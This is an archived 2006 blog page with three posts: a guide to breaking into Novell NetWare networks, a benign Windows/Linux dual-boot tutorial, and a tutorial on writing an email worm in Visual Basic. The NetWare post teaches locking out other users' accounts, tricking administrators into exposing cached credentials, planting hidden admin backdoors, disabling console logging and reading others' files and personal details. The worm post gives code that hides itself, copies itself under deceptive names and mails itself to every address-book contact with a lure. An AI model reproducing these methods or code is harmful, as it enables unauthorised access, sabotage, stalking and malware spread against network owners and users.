Blog Best Viewed In Mozilla FireFox



Novell Hacking !
9 October 2006

1. Introduction to Novell Netware
2. What is the 'console' and 'NDS'?
3. How do I know if they're running Novell?
4. I'm still not sure. I have a normal user account. How can I check with this?
5. What are the usual accounts and passwords and how do I find a valid account?
6. How do I lockout my enemies account?
7. Is there another easy way to get Admin access?
8. What about the Net Plug attack?
9. What's a backdoor and is it useful to me ?
10. Once I'm in, can I leave a back door?
11. Leaving an Admin level user in the NDS Tree
12. Okay, now how do I leave a backdoor into the server itself?
13. Accessing servers drives that you shouldn't be able to see


Introduction to Novell Netware

Novell Netware is a server based operating system for networks. Unlike Unix and NT, Netware isn't an all in one program. Let me explain. Netware itself runs on top of a version of DOS. The version that you might be familiar with is MS-DOS as this comes with Windows 95 and 98. Novell uses DR-DOS. This is very similar to MS-DOS and even uses the same sort of commands. When a Netware server starts up, first it loads up DR-DOS (also known as Caldera DOS because Caldera wrote it). Once DOS is started, Netware is loaded which then sets up the server itself. Once this has been done, the server is happily sitting on the network and awaiting requests. Netware has two main admin areas. First is the console and second is NDS.

What is the 'console' and 'NDS'?

The console is kind of like a DOS prompt. It takes commands in the same way as you'd expect and it looks almost the same to. The prompt though (the bit before you type in your commands) is somewhat different. In MS-DOS, you might get a prompt like this:

C:\WINDOWS >

This bit is the directory you are currently in. Here, you can see I'm in the
Windows directory. Netware doesn't have this and I'll explain why a little later

The 'C:\' shows the current drive. Netware has something like this but it doesn't actually show you what drive you are in. Again, I'll explain this later.


You've seen what the MS-DOS version is like. Here then is a sample from a Netware server named "Gandalf".

GANDALF :

The console is designed simply for managing the server itself. Not the files or its users as can be done with an NOS (Network Operating System) such as Linux. Commands entered here affect only the server that is in the prompt. In this case, only server Gandalf will be affected by my commands.
You can run or 'load' programs into the server in the form of NLMs ( Netware Loadable Modules). These can be seen as plugins for the server. Once run, the program will automatically be set-up. I'm mentioning this now because some of the best hacks require software to be loaded in at the server. I'll cover this later though.
The console can also be access from another computer using a piece of software called "RCONSOLE". This is a DOS based program so you will need to be able to run DOS programs on your machine. Many Admins disable this on user accounts and only have it active on Admin accounts. Even if you can run RCONSOLE, you will still need a password to access the server. Most servers are left at the console so no logging in is necessary. However, servers tend to be well guarded!

NDS (Netware Directory Service) is where all the user and file information is stored. It is usually referred to as the "NDS Tree". You could easily compare it to a telephone directory. The NDS Tree holds all the information about a network. From the individual workstations to the users to the servers and the files stored on them. Because everything in general is managed through NDS, this is really the kind of access you want. Console access is useful (you can kick people you don't like off the server) but having the ability to alter anything on the network is much more fun.
The program that you need to access the NDS Tree is called 'nwadmn32.exe'. This is usually available somewhere on the system because it isn't directly a security risk. If you load it as a normal user, you will only have rights to alter some parts of that user such as the password. You may not be able to touch other peoples information but you can usually read it. I'll come back to this later on.

How do I know if they're running Novell?

This is an easy one. Before you can use any machine on a Novell network, you must login. Novell like to show everyone just how good they think they are and splash their name and their stupid red 'N' logo everywhere that they feel they can get away with. This includes the login screen.
If for some reason you don't have this on your login screen but you still think that you are on a Novell network, take a closer look at the login screen. Most networks now use the latest client which supports contextless logins. Although this sounds complicated it isn't. Normally when you login to Novell, you must tell the server what 'context' you are in. This lets people have the same user names. For instance for me to login to Gandalf I'd need to supply :

Miggyx.admin.users.abc


This is a short one. Many go much deeper than this and have six levels or more! Problem is humans aren't too hot at remembering these long login names. For this reason Novell brought out contextless logins. You pick an option from a drop down menu then fill in only the user name. For instance :


Context : Server Admins
User : miggyx


Passwd : ******


Instead of :

User : miggyx.admin.users.abc


Passwd : ******

Basically it was all done to make users lives easier. This option never appears on Unix or NT systems because they don't support multiple user names and thus context is irrelevant. If your system has this on the login screen, you definitely have Novell Netware.

I'm still not sure if I'm on a Novell network. I have a normal user account. How can I check with this?

Yes you can and if you have a real account, it will make your life a lot easier. It is easier to hack a system that you have some access to than to start from scratch. Login and see if you have a little red 'N' in the taskbar. This is Novell's little Admin tool for the user themselves and it has a few interesting properties too which I'll cover later. If you have this 'N' you are definitely on a Novell network. However some mean Admins turn off the nice little 'N'.
You can also right click on a network drive. A network drive is a directory on a remote computer that has been made to look like a hard drive on your machine. You'll find these in 'My Computer'. Right click on them. In this menu, there will be several entries with the red 'N' next to them. Again this is a dead give away that you are running on a Novell network.

Hmmmm..... I don't have an account. What are the usual accounts and passwords and how do I find a valid account?

Well, there are quite a few standard user names and passwords that are used on Novell networks. However not all of them are used and sometimes not one is used. This list comes from the Netware Hack FAQ and I've found it to be quite comprehensive :

Account Purpose
---------- ------------------------------------------------------
PRINT Attaching to a second server for printing
LASER Attaching to a second server for printing
HPLASER Attaching to a second server for printing
PRINTER Attaching to a second server for printing
LASERWRITER Attaching to a second server for printing
POST Attaching to a second server for email
MAIL Attaching to a second server for email
GATEWAY Attaching a gateway machine to the server
GATE Attaching a gateway machine to the server
ROUTER Attaching an email router to the server
BACKUP May have password/station restrictions (see below), used
for backing up the server to a tape unit attached to a
workstation. For complete backups, Supervisor equivalence
is required.
WANGTEK See BACKUP
FAX Attaching a dedicated fax modem unit to the network
FAXUSER Attaching a dedicated fax modem unit to the network
FAXWORKS Attaching a dedicated fax modem unit to the network
TEST A test user account for temp use
ARCHIVIST Palidrome default account for backup
CHEY_ARCHSVR An account for Arcserve to login to the server from
from the console for tape backup. Version 5.01g's
password was WONDERLAND. Delete the Station
Restrictions and use SUPER.EXE to toggle this
account and you have an excellent backdoor.
ROOT Found on Shiva LanRovers, gets you the command-line
equiv of the AdminGUI. By default, no password. A lot
admins just use the AdminGUI and never set up a
password.


Some of these are used quite a lot of the time. ROOT is a good example because it also ties in with superuser access on Unix and Linux servers. Having a user called root is quite common now. Accounts by the name 'Admin' , 'Administrator' and 'Manager' are in common use to.

How do I find out if an account is valid?

This is surprisingly easy. Type in the username you are trying to check. Type in any password unless you know it ( if you know the password then the account is obviously valid) and press enter. You will likely get an error message back. If the message says something on the lines of "Invalid password" or "Unknown Error" followed by a number , it is a fair bet that the account exists. If you get the Unknown Error message, it is likely that the account is there but has been locked out. This is also a cunning way of locking out someone's account who you don't like.

How do I lock out my enemies accounts?

Well, this is particularly easy to do. Most Admins for security have a limit on how many times someone can login incorrectly before the account gets locked out. This is usually set to 5 times. Here's how you do it.

1. Type in your friend /enemies login name.
2. Put it an obviously wrong password. Anything will do.
3. Hit 'Enter'.
4. The computer should bounce back with an error about an invalid password. This is what we want so keep going.
5. Repeat from stage three until the server comes back with an unknown network error.

Once you get the unknown network error, you have successfully locked out the account. It won't work again until an admin manually unlocks it. This could mean a disabled account for hours or even days. Snik snik!



Is there an easy way to get Admin access?

This only works on Netware 3.*. You use a program called NW-HACK.exe . A nice little program that sits and waits till an Admin logs in and then creates a nice account for you with super user access. You will be able to find this program on the Internet but I'm not going to spend much time on it because it has a full set of docs with the program itself.

What about the Net Plug attack?

This is an attack that I worked out myself before I was given Admin status. It always works and I've yet to see it fail. Make sure you are at a windows 95 or 98 machine. I doubt NT would be fooled by this trick but I don't have any NT machines so I can't test it for you.



Note : Most Admins, believe that they are the most knowledgeable about their system. Many also believe that no one else knows much about computers. In other words, for whatever reasons, they are not too concerned about us i.e. the idiots attacking their servers. Why? Because we aren't good enough. So why waste valuable time configuring security that won't be needed eh? I think I've made my point. They don't see us as a threat. You don't consider a house spider a threat so you don't go round putting up netting to keep them out. Why? You can't be bothered. The same rule applies here. Even if you are a computer genius, play it dumb. Admins like to lecture the uninitiated and would love to appear smarter than you. This is the way you want it. The Admins will think you're a nice guy or gal, totally harmless. This sometimes gives you more leverage because they like you, they'll be willing to help you. They also won't expect you to launch a huge assault on their servers either However sometimes there are some smart people out there who will notice your talents and pull you over to their side. This isn't a bad place to be and can be advantageous later.



First of all, login as yourself. Crash your computer and reset it . Walk over to your favourite admin (the one that hates you most is the best choice ) and apologise for being an idiot but the computer won't let you login and could s/he please come and take a look for you. Mumbling and grumbling they'll come over. The best way to test if it is the machine is for them to login. Of course, they'll log in as an admin or equivalent. They'll check your account and see that your account is fine. They'll tell you to log onto another machine and your account will be okay. They'll now log off and walk off in disgust thinking you are a computer moron. Not so my friend, we've just done them good and proper!
Turn off the computer and pull out the network lead. Turn it back on again. The computer will detect that you aren't on a network and will dump you at a desktop with restrictions of the last user. If this user is the admin then chances are that he or she will have full access to everything including DOS and drive access. Perfect for installing all those really kewl programs you have on a disk in your pocket......
But you aren't on the network now. That's no fun is it? Shove the lead back in and try to access a network drive. This is the bit where you hope the Admins are sloppy or not computer geniuses. Windows by default caches ALL passwords so unless the Admins have told it not to ( a key deep in the registry) then windows will have a nice copy of their password. Go into 'My Computer' and click on a drive. Whoop with glee as Netware logs you in as an Admin. Why does this happen? Well windows still holds the username and password last used to access the drive. You are logged into windows as Admin and windows knows what credentials you last gave to the server. So it supplies them for you. Likewise because you are now authenticated you know have full access to the NDS tree. Not only can you read but you can no write, modify delete etc etc. Much more fun!
Now, this is the bit where you have to be sneaky. You have to make a new account for yourself or upgrade your old one. There are pros and cons to each of your choices. If you alter your existing account and they check it for some reason ( maybe you got locked out? ) they'll notice you have admin rights and shoot you. If you make a new user, it might get found quicker but there is no way to point to you ( it was created by user admin after all tee hee ). The choice is yours. You can always do both.


What's a backdoor and is it useful to me ?

A back door like the name suggests is a way into a system without going through the front door. The front door being the proper way in. Your backdoor will give you full access (or whatever it was set-up to do) without anyone else knowing about it.
It is useful to you because it gives you a lot of power and anonymity. People won't know that it was you that deleted that account or altered your reports. You'll be like the ghost in the machine. Invisible and all powerful. Doesn't that sound wonderful to you?

Once I'm in, can I leave a back door?

Yes, there are many different ways of leaving a back door and may different things a back door can be designed to do. Firstly, the most powerful backdoor is the one that gives you full access to an entire system. Unfortunately, these are the hardest to set-up (unless you did my Net Plug trick) and the Admins aren't blind. They'll notice that a new admin account has appeared. Unless of course you hide it. This isn't all that easy but it can be done. The second type of backdoor gives you access to the server (like rconsole). These aren't as powerful but they still have the ability to run things like the 'down' command. The 'Down' command shuts the server down and dumps it at a DOS prompt. Another powerful command is the load command. This sticks programs into memory. Unfortunately all but the most stupid Admins log the console.

Leaving an Admin level user in the NDS Tree

This is the best way of hiding a user in the NDS Tree. Most Admins have only been on the CNA (Certified Novell Administrator) course so won't have the expertise to locate the user even if they did think that it existed. Even if they have a CNE (Certified Novell Engineer) they aren't likely to find your user because not only don't they know where to look, they won't know your user is there. The best crimes aren't ones that you can get away with without being caught. The best crimes are ones that the victim doesn't even know have happened.
Anyway, here is what you have to do :

- Get logged in as Admin or equivalent ( Use the Net Plug trick )
- In NWADMIN highlight an existing container.
- Create a new container inside this container.
- Create a user inside this new container. No home directory.
- Give this user full Trustee Rights to their own user object.
- Give this user full Trustee Rights to the new container.
- Make this user security equivalent to Admin.
- Modify the ACL for the new user so they can't be seen.
- Adjust the Inherit Rights Filter on the new container so no one can
see it.

I've not had the chance to really test this in the field. It worked for me but whether or not it won't be detected in the field is another matter. It works fine in theory though.

Okay, now how do I leave a backdoor into the server itself?

This is a lot more difficult because you have to run a program on the server itself. You do this by using the load command. It will automatically load the program from the SYS: directory. You'd have to copy the files to this directory first. Because this dir is filled with NLMs, it will be a lot harder to locate your new program as a rogue. Problem is actually running it. As I said before most Admins run the console logging program called CONLOG. So now what? If we try anything it will be logged won't it? Sure, unless we turn off the logging program first tee hee. Type "unload conlog" without the quotes. This will stop logging console activity. Next type "load magicfile.nlm" with the name of your program and without the quotes. Next type "load conlog" again without the quotes. Loading up conlog is the last thing that you do before leaving the server.
Some Admins run a program called "Secure Console". This stops you from loading any more programs. The only way to get round this is to use the unload command again. However it is password protected. You can get past this too but it will take some guts to do and it will take out the server for a few minutes. Are you ready?

1. Type "Down" at the prompt. If there are any users logged in, it will warn you. Press Y to continue or N to cancel. Pressing Y will cut them off. Any system that is on the Novell network will report to its users that the server is going down. Try to do this at the end of the day when all the clients are turned off or when you've got a chance to reset them before someone sees the message
2. Turn the machine off
3. Wait a few seconds
4. Then turn it on again
5. Run outside and wait for the server to come back up. It is not a good idea to get caught with the server in this state.
6. When the Admins rush in to find out why their precious server bit the dust, their last concern is whether secure console is running or not.
7. When they leave, wait a few minutes before going back in.
8. Go to the console and turn off the console logger
9. Run your nasty little program
10. Turn the logging program back on
11. Walk out of the room as a super user.

The program itself will not show up in the logs ( because you stopped logging before you ran it ). When they shut the server down, the program will not longer be resident. However, if you are taking the risk to run this program, make sure you also run something that will catch the rconsole password. Admins hardly EVER change this. They are far more careful with the NDS password and see no reason why anyone would be able to find or to use their little rconsole password. Once you have the rconsole password you don't really need a backdoor.


Accessing servers drives that you shouldn't be able to see

When you are using Novell, you have your home area mapped as a network drive. You can't press 'Up' to go higher because it will just take you to my computer. How do you get around this and why would you want to?
Well, most Admins don't login to everyone's user account to check that they are set-up correctly ( I know I wouldn't bother going through 1000 different accounts in the unlikely case that one of them is messed up). If they aren't set-up correctly, you might have access to other peoples home areas. Thing is though, how do you get there? You can't see higher than your own directory.
First of all, you have to find out what server you are connected to. This is pretty straight forward. Okay, go back to 'My Computer'. Right click on a network drive and hit properties. It will tell you what server it is mapped on. I'll use GANDALF as an example. My home directory is mapped to F:, however the real location of my home directory is \\gandalf\data1\users\yr12_990\miggyx\ . Now, I wouldn't have known that if I hadn't checked the properties. Admins usually assume you won't know or won't bother looking. The server name directly follows the '\\'. Go to the start menu and select run. Type in the server name. In my example this would be \\gandalf.
What if those pesky Admins have removed the Run command? Not a problem. Minimise all the windows so you are looking at your desktop. Right click and select New -> Shortcut. When asked what it should shortcut to, type in '\\servername'. Press 'Enter' a few times. You should get an icon on your desktop. Click this twice and it will pull up the server. Simple but effective. A word of caution though. Delete the shortcut after use using shift+del. NEVER use just the delete option. If you choose just to delete the file, it will go straight to the recycle bin. Sometimes users don't have access to it and so can't remove the file themselves. This is when those friendly Admins come along and see a nice shortcut to their server with your name on it. Not a good thing to be doing. Shift + Del removes the file directly. This also bypasses any logging software running on the machine itself. The Admins won't be able to get to the file assuming they know it exists in the first place. Best to play it safe.
Once you have access to the server itself ( albeit only as yourself and not as an admin unless your admin is really stupid), you might be able to browse around. For instance, I still had read access to everything in the \\gandalf\data1\users\yr12_990 directory. I could go in a read everyone's work ( although I couldn't write to it) and pass it off as my own. Also, you'll be able to access some of the system directories. In here you'll find useful tools such as rconsole, fconsole nwadmn32.exe and others. Running nwadmn32.exe as yourself only gives you your own rights to the NDS tree. The NDS tree ( Netware directory Service ) contains everything on the entire network. Even if you've got very limited access, you will still see the whole tree. This includes the usernames for the Admins and all the services they are running. You may even have some ability to alter users in your group. It all depends on how your system is configured. Either way it can be a powerful information tool. Usually you can see everything but alter nothing. This is still useful. For instance, say there is this gal you really like and you would kill for her phone number and address. Why go through all the hassle? Most Admins stick all information about a user into their network. It makes sense really. Load up nwadmn32.exe ( they can't restrict this because it would restrict all windows programs and that would be really stupid) find her username and click twice. Bang, you can see all her details. Sure you can't actually alter them but you can read can't you?
You should also be able to happily browse through the directories that you can see. Even if you aren't logged in as an Admin, it is likely you can find some fun files to play around with. If they need DOS access, you'd better log in as an Admin. If you've read the above, you should be able to get Admin status.

______________________________________________________

Labels:




Computers Blogs - Blog Top Sites Computers Blogs - Blog FlareMy Blog DirectoryPage copy protected against web site content infringement by Copyscape



BookMark me:||del.icio.us || Digg it || Furl || Google || Spurl || Yahoo MyWeb
 
posted by VaTsAl at 8:32 pm | Permalink 0 comments
Dual Booting !!

Dual booting is a great way to get started learning Linux. It is also a great way to learn about some deeper issues of Windows. Another great thing about dual booting is that you can learn the intricacies of linux without abandoning your knowldge of Windows. This is a great way to proceed for newbies. Dual booting will allow you to run linux and windows on the same hard drive so that you can have the best of both worlds. Although Linux out-performs Windows on most fronts, we are all consumers and as such we enjoy having some things come easily and effortlessly. Also, Windows tends to have more game selections and better documentation for some software. That said, there is an alternative to dual booting. You can always run WINE or VMWare on your Linux machine. WINE lets you run Windows programs in Linux. VMWare creates another 'layer' in your Linux system and allows you to install any Windows OS within the VMWare program. It has all the functions of a normal Windows box, becuase it is a normal Windows box! You could also run Windows and use VMWare to install Linux within Windows.

This tutoral will assume you have weighed the pros and cons of WINE, VMWare and dual booting and have decided that dual booting is the best for you. I dual boot because when you are running Windows or Linux you get full system resources devoted to that OS whereas emulation programs are running one OS within another so you get much less performance from both when both are running. Of course, when VMWare is not running then the host OS runs normally. WINE has many other technical issues that I do not have time to work through. I can't run Linux exclusively because I work with folks that use Windows and we need to collaborate for development purposes. So dual booting it is.

During this tutorial I am using Windows 2000 SP1 and Slackware.

Step 1.


Load Windo
ws 2000 on the first partition of the drive, if you are using the same drive for both operating systems. If you plan on using 2 hard drives, then put Windows2000 on the primary drive. You need to have the Windows boot sector on the drive that will be looked at first by the BIOS when you turn on the PC. As long as that requirement is met I don’t really care where you load Linux to, so long as you know! NTLDR must reside in your MBR for my method to work properly. You can also replace NTLDR with LILO or another dual OS boot program, that is not covered here.

Step 2.
When Windows 2000 installs it writes to the master boot record (MBR) which then points to a file on the root of the system (the C drive in this instance) called “boot.ini”. The “boot.ini” file points to the location of the files necessary to boot. If you are familiar with Linux and LILO (the LInux LOader) you’ll have an idea of what the “boot.ini” file does, because it acts a little bit like the “lilo.conf” file. Anyways, the “boot.ini” file is what we will be modifying so the windows boot loader knows there is another OS for booting, for now just find it. If you are unable to see it, then you may have “hide system files” turned on. Open an Explorer window, go to the Tools pull down menu and select Folder Options and then the View tab. There you should see radio buttons to Show hidden files and folders, check it, and uncheck Hide protected operating system files (Recommended), hit OK at the bottom and you should now be able to see boot.ini in the root directory.

Step 3.


Install Linux. You can use any distro. You must create a boot disk when the Linux install asks, because we will need to make the boot sector that LILO creates into a file so that the Windows 2000 boot loader can use it to start Linux. And since we are not installing LILO to the MBR (Master Boot Record for those who don’t know), you'll have no way of getting Linux to boot and the long setup process will be for nothing. The alternative is to install to the first sector of the Linux partition. I tend to do both. If you load LILO to the first sector of the patition then you can use a boot program to point to NTLDR and LILO and allow you to choose which you want to boot from. This is the method I use. Also, if something goes wrong in this setup then you have LILO on disk and you can always boot from a:\ and you will have Linux.

Step 4.


Quick Review: Windows2000 Pro is installed, Linux is installed and LILO is installed! Our next step is to extract the Linux boot sector and get it to Windows. I find it easiest to just copy the boot sector to a floppy disk, boot into Windows and copy it off the floppy. Boot into Linux by placing your LILO boot disk into your floppy and booting to a:\. You will first need to get the boot sector onto a floppy, to do that you must mount the floppy disk. To mount the floppy drive in Linux type the following command “mount –t msdos /mnt/floppy”. It is likely that the floppy is already mounted since you did just boot from it. Insert a DOS formatted floppy so that we can copy the LILO boot sector file to it once the file is created. The following command will copy the LILO boot sector to a file that is 512 bytes big, right to the floppy and called “linux.bin” Don’t forget to put a DOS formatted floppy in the drive! “dd if=/dev/hda5 bs=512 count=1 of=/mnt/floppy/linux.bin”






Step 5.


That should do it for the Linux part of this project. Remove the floppy and boot into Windows2000 normally. Go to “Windows Explorer” and copy the file, “linux.bin”, off the floppy to the root of your Windows2000 drive [c:\]. Next, open “boot.ini” file in “Notepad” and add the line c:\linux.bin=”Slackware (or whatever)” to the end of the file, save it and you are done.

Step 6.


Reboot without any floppies in the drive and you should be able to choose which OS you want to boot into! If you have gone and turned off the display of other operating systems, you will need to turn that back on. If you don’t know how or don't remember, right click on “My Computer”, click on “Properties”. This brings up the “System Properties” window, click on the “Advanced” tab and then the “Startup and Recovery” button at the bottom. You should see the first check box unchecked, simply put a check in the box and then set the number of seconds the display is up before booting into the default OS!

Step 7. Oh Shit!


So things were going well but when you rebooted there was no OS option. Well, good thing we have a back-up plan. Assuming you followed all the instructions above, you now have a LILO boot disk. If worse comes to worse you can always set your boot sequence in BIOS to a:\ c:\ to check whether LILO is in your drive. If that is not good enough, and modifying boot.ini did not work for you but you did place LILO to the first sector of its partition, then there is one more option. You can use a boot manager. My favorite is XOSL, but there are many to choose from. Do a search for boot manager, download the one you like, read the documentation and go to town. You want to find one that will not make you do anymore partitioning. Boot managers scan your drive and find all your boot loaders, in this case LILO and NTLDR and then allow you to choose which to use at start-up. The boot manager you use is up to you.

Labels:




Computers Blogs - Blog Top Sites Computers Blogs - Blog FlareMy Blog DirectoryPage copy protected against web site content infringement by Copyscape



BookMark me:||del.icio.us || Digg it || Furl || Google || Spurl || Yahoo MyWeb
 
posted by VaTsAl at 8:30 pm | Permalink 0 comments
Writin a Worm Tool !

Writing a worm tool :)

A Worm is a simple and easy program that can spread by itself to other machines. What is the diffrence between a
Worm and a Virus? A Virus is a Program that can infect documents but must be sent by a person to be able to
spread. A worm can spread itself by Email and it can spread itself at anytime. A Worm can be made in any
Programming Language avaliable. Some of the programming Languages I would prefer to make a worm are:

-Visual Basic
-C++
-Delphi
-Javascript
-Visual Basic Scripting

These Languages can all be used ot make worms. Easier languages like Batch can also be used to make worms.
The worm has one mail goal and that goal is to spread to another Machine. Some of the many ways of spreading
include:

-Email
-Injection
-Infection of files
-File Sharing
-Exploits such as the Dcom Exploit W32.Blaster Used
-Messenger Exploits


These can all be used to spread a file to another machine. I usually use the Email, Binary Injection and File Sharing
Methods to spread my Worm. I am going to show you how to make a Worm in Visual Basic. Visual Basic is easy to
learn and is a begginer Language. What is nice about Visual Basic is once you have mastered it you are ready to
move up to a higher language such as C++. Visual Basic and Delphi are the same accept for one major diffrence.
That diffrence is that Visual Basic requires the Runtimes Files to run when Delphi dosent. You can download and
crack programs such as www.Thinstall.com or www.Winzip.com and have your worm drop the runtime files. If your
worm is in Visual Basic.

Now the 1st thing we are going to do is show you what our worm we are going to create is going to preform. The
worm we are going to create is w32.N00bie. This worm is not very powerfull but is good for the beginner. To be able
to create this worm you will need Microsoft Visual Basic. Visual Basic is a RPD or Rapid Application Builder. We
will now begin to make our 1st program in Visual Basic. Open up Visual Basic and select a Standrad .exe Program.
Now, Visual Basic will load a Windows that is titled "Form1" This is the main form for Visual Basic. This is your
worm. Double click on the window labeld "form1" and you will see the below text

Private formsub_load()


End Sub

You will be coding between this text. (Image One shows a example of where you will be coding)



The 1st thing you will do is hide your worm. A worm must have stealth in order to be considered a "Real" Worm.
One way you can hide any Window in Visual Basic is the below code

Form1.Visible = False

That above code will make form1 Invisible Or you could do this

Me.hide

So, Now let's add Me.Hide into our code. So, the code in Visual Basic should now look like the below.

Private Sub form_Load()
Me.Hide
End Sub

Now So far the only thing your worm will do is Hide itself from the user. So, Now let's make the worm's heart. Now
I said above a worm must do SOME the following things:

-Email
-Injection
-Infection of files
-File Sharing
-Exploits such as the Dcom Exploit W32.Blaster Used
-Messenger Exploits

In this worm we are going to do Emailing, File Shareing and we will also do some DDoS Attacks and More with the
worm on a certain date. So, the 1st thing we want our worm to do is copy itself somewhere on the machine. Why you
may ask? This is a Good Question. The reason why is let's say that the worm is launched in the email attachment
but some how it is deleted when the user restarts. Well, With a copy of the worm on the machine there is always a
good chanche that the worm will be activated again. So Let's have the worm copy itself a few times on the system.
So, This is the code to copy itself to other places on the machine. When I say Copyiteself I mean Like Making a
Exact Copy of itself to another location with a diffrent name. So, We are going to make this sample worm copy
itself to the C:\ Drive using The following File Names:

C:\Worm1.exe
C:\InnocentFile.exe
C:\Me.exe
C:\OpenMe!.exe

So, In Visual Basic in order to have it copy itself with those file names to the c:\ drive we would have to enter the
following code. If you study the code you will understand what it means. I have explained the code alittle better
below.

Filcopy App.Path + "\" + App.EXEName + ".exe", "C:\Worm1.Exe"
Filcopy App.Path + "\" + App.EXEName + ".exe", "C:\InnocentFile.exe"
Filcopy App.Path + "\" + App.EXEName + ".exe", "C:\Me.EXE"
Filcopy App.Path + "\" + App.EXEName + ".exe", "C:\OpenMe!.EXE"

Now what does this code mean piece by piece? I will explain it as best I can below:

Filecopy - This means copy a file.

App.Path + - This Means it will copy the Applications Path

"\" - This is hard to explain. You know how when you are typing a location like C:\ and you see the \? Well in this
code with out the "\" it would look like this C: Windows Desktop Worme.exe So we have to add this in "\" to get it
to look like C:\Windows\Desktop\Worme.exe

App.EXEname + - This means that it's going to make a copy of the Applications Original .Exe Name

.exe - File extenstion

Then after the location of the file has been selected you need to tell Visual Basic where to copy the worm to. So,
You see the last part of this code (The Part In Bolad)

Filcopy App.Path + "\" + App.EXEName + ".exe", "C:\OpenMe!.EXE"

This is where we will specify where we want a copy of the worm to be copied to. So If you changed the last part of
the code to C:\Windows\Openme!.exe it would make a copy of the worm to C:\Windows\Openme!.exe

Now, I hope I havent confused you alot. If I have I am sorry! Lol Anyway Your Visual Basic code should now
look like this

Private Form Sub_Load()
Me.hide
Filcopy App.Path + "\" + App.EXEName + ".exe", "C:\Worm1.Exe"
Filcopy App.Path + "\" + App.EXEName + ".exe", "C:\InnocentFile.exe"
Filcopy App.Path + "\" + App.EXEName + ".exe", "C:\Me.EXE"
Filcopy App.Path + "\" + App.EXEName + ".exe", "C:\OpenMe!.EXE"
End Sub

So Now you have your worm doing the following actions

Hiding itself from the user (Stealthing itself)
Copying a Exact Copy of itself to C:\Worm1.Exe, C:\Innocentfile.exe, C:\Me.exe, C:\Openme.exe

Now, let's make your worm spread. Now, The easiest way for a worm to spread is Via-Email. Email is the #1
Spreading Method of a Internet Worm. So, Now let's add the email code into this program.

(Note: For the email code to work you will need to add a Windows Scripting Control into your program. If you don't
then your worm will not preform the email task. You add a WSC the same way you add a Winsock Control)

Now Add this Visual Basic Scripting code into your program's code:

Set so = CreateObject(fso)
Set ol = CreateObject("Outlook.Application")
Set out = Wscript.CreateObject("Outlook.Application")
Set mapi = out.GetNameSpace("MAPI")
Set a = mapi.AddressLists(1)
For X = 1 To a.AddressEntries.Count
Set Mail = ol.CreateItem(0)
Mail.to = ol.GetNameSpace("MAPI").AddressLists(1).AddressEntries(X)
Mail.Subject = "Fwd:None"
Mail.Body = "Do you want to suprise your wife or husband? Do you want to do something Romantic for them?
Wanna find out how to get lucky Sydney has made this Awesome Document Attached. It tells men everything a
Lady wants! And Ladies you can add stuff onto it before forwarding it to all your freinds!"
Mail.Attachments.Add = "C:\Worm1.exe"
Mail.Send
Next
ol.Quit

Now your worm emails itself. I want to let you know that when you compile the Visual Basic code that this Vbs
Code may give you a error. Well, If it does Delete any code that gives you the error. It's usually the 1st Set
So=CreateObject(fso) if this occurs just delete it and then try recompileing. It should work. If it dosent
troubleshoot and you will manage to fix the problem! Anyway, Your Visual Basic code should now look like this


Private Form Sub_Load()
Me.hide
Filcopy App.Path + "\" + App.EXEName + ".exe", "C:\Worm1.Exe"
Filcopy App.Path + "\" + App.EXEName + ".exe", "C:\InnocentFile.exe"
Filcopy App.Path + "\" + App.EXEName + ".exe", "C:\Me.EXE"
Filcopy App.Path + "\" + App.EXEName + ".exe", "C:\OpenMe!.EXE"
Set so = CreateObject(fso)
Set ol = CreateObject("Outlook.Application")
Set out = Wscript.CreateObject("Outlook.Application")
Set mapi = out.GetNameSpace("MAPI")
Set a = mapi.AddressLists(1)
For X = 1 To a.AddressEntries.Count
Set Mail = ol.CreateItem(0)
Mail.to = ol.GetNameSpace("MAPI").AddressLists(1).AddressEntries(X)
Mail.Subject = "Fwd:None"
Mail.Body = "Do you want to suprise your wife or husband? Do you want to do something Romantic for them?
Wanna find out how to get lucky Sydney has made this Awesome Document Attached. It tells men everything a
Lady wants! And Ladies you can add stuff onto it before forwarding it to all your freinds!"
Mail.Attachments.Add = "C:\Worm1.exe"
Mail.Send
Next
ol.Quit
End Sub

Now you have a Worm! How is this a worm? A worm is a file that can email itself, Infect other computers with out
having to have a person email the file the worm will do it by itself.


TYPES OF WORMS

Overwrite Method - This is the Quickest Method for making a worm infect documents on the machine. It will overwrite them. It's like this. Each Windows Computer has a C:\Windows\Defrag.exe , So your worm will do this it will copy itself as c:\windows\defrag.exe

Binary Infection - This Method is not easy! Binary is hard for newbies. Binary Infection is where a worm made in anylanguage (YES, IT IS POSSIABLE IN BATCH) to infect a Document's binary. Let's use disk defragger again. We know all windows computers has c:\windows\defrag.exe so, our worms will open up the binary (The binary is like the DNA of a File. It controls the body. It's like it's Genetic code) and it will copy the worms binary to the end or beggining of the c:\windows\defrag.exe's binary. This means that each time disk defragger is ran the worm is running with it inside of defrag.exe! This is a hard process to configure.

Injection into a Process - Injection is like this. You know how you go to the dr's office and you get a shot? Well, let's say you went in for a TD shot (Tectnus-DIFFERIHIA) shot. This shot will actually inject "Dead" Bactieria of the Disease into your body so that the immune system can look at it and make a antidote. Well, Injection does the same thing. It shoots the virus into a running process or into a file. Its rather hard to explain. This is another way a worm can spread.

Resident Viruses

This type of virus hides permanently in the RAM memory. From here it can control and intercept all of the operations carried out by the system: corrupting files and programs that are opened, closed, copied, renamed etc.

Resident viruses can be treated as file infector viruses. When a virus goes memory resident, it will remain there until the computer is switched off or restarted (waiting for certain triggers to activate it, such as a specific date and time). In the meantime it sits and waits in hiding, unless of course an antivirus can locate and eliminate it.

Examples include: Randex, CMJ, Meve, MrKlunky.



Direct Action Viruses

The principal aim of these viruses is to replicate and take action when they are executed. When a specific condition is met, the virus will go into action and infect files in the directory or folder that it is in and in directories that are specified in the AUTOEXEC.BAT file PATH. This batch file is always located in the root directory of the hard disk and carries out certain operations when the computer is booted.

Files infected with this type of virus can be disinfected, and completely restored to their original condition.



Overwrite Viruses

This type of virus is characterized by the fact that it deletes the information contained in the files that it infects, rendering them partially or totally useless once they have been infected.

Infected files do not change size, unless the virus occupies more space than the original file, because instead of hiding within a file, the virus replaces the files content.

The only way to clean a file infected by an overwrite virus is to delete the file completely, thus losing the original content.

Examples of this virus include: Way, Trj.Reboot, Trivial.88.D.



Boot Virus

This type of virus affects the boot sector of a floppy or hard disk. This is a crucial part of a disk, in which information on the disk itself is stored together with a program that makes it possible to boot (start) the computer from the disk.

This kind of virus does not affect files, but rather the disks that contain them. First they attack the boot sector of the disk then, once you start your computer, the boot virus will infect the hard drive of your computer.

The best way of avoiding boot viruses is to ensure that floppy disks are write-protected and never start your computer with an unknown floppy disk in the disk drive.

